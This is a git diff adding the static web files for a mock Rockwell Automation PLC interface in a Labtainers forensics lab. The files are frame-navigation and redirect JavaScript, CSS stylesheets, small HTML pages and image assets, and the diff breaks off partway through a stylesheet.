diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/mensepoffoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/mensepoffoff.gif new file mode 100644 index 000000000..dee299b7b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/mensepoffoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/menseponoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/menseponoff.gif new file mode 100644 index 000000000..8135de9c9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/menseponoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/menuendoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/menuendoff.gif new file mode 100644 index 000000000..584111416 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/menuendoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/menustarton.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/menustarton.gif new file mode 100644 index 000000000..d1315876e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/menustarton.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/1756enet.bmp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/1756enet.bmp new file mode 100644 index 000000000..7c0a6b9be Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/1756enet.bmp differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/mensepoffoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/mensepoffoff.gif new file mode 100644 index 000000000..dee299b7b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/mensepoffoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/mensepoffon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/mensepoffon.gif new file mode 100644 index 000000000..0853fe34b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/mensepoffon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menseponoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menseponoff.gif new file mode 100644 index 000000000..8135de9c9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menseponoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menuendoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menuendoff.gif new file mode 100644 index 000000000..584111416 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menuendoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menuendon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menuendon.gif new file mode 100644 index 000000000..6fae98a1a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menuendon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menustartoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menustartoff.gif new file mode 100644 index 000000000..b55bbc1fd Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menustartoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menustarton.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menustarton.gif new file mode 100644 index 000000000..d1315876e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/menustarton.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/images/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index.html new file mode 100644 index 000000000..b8c5ca878 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/index_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif 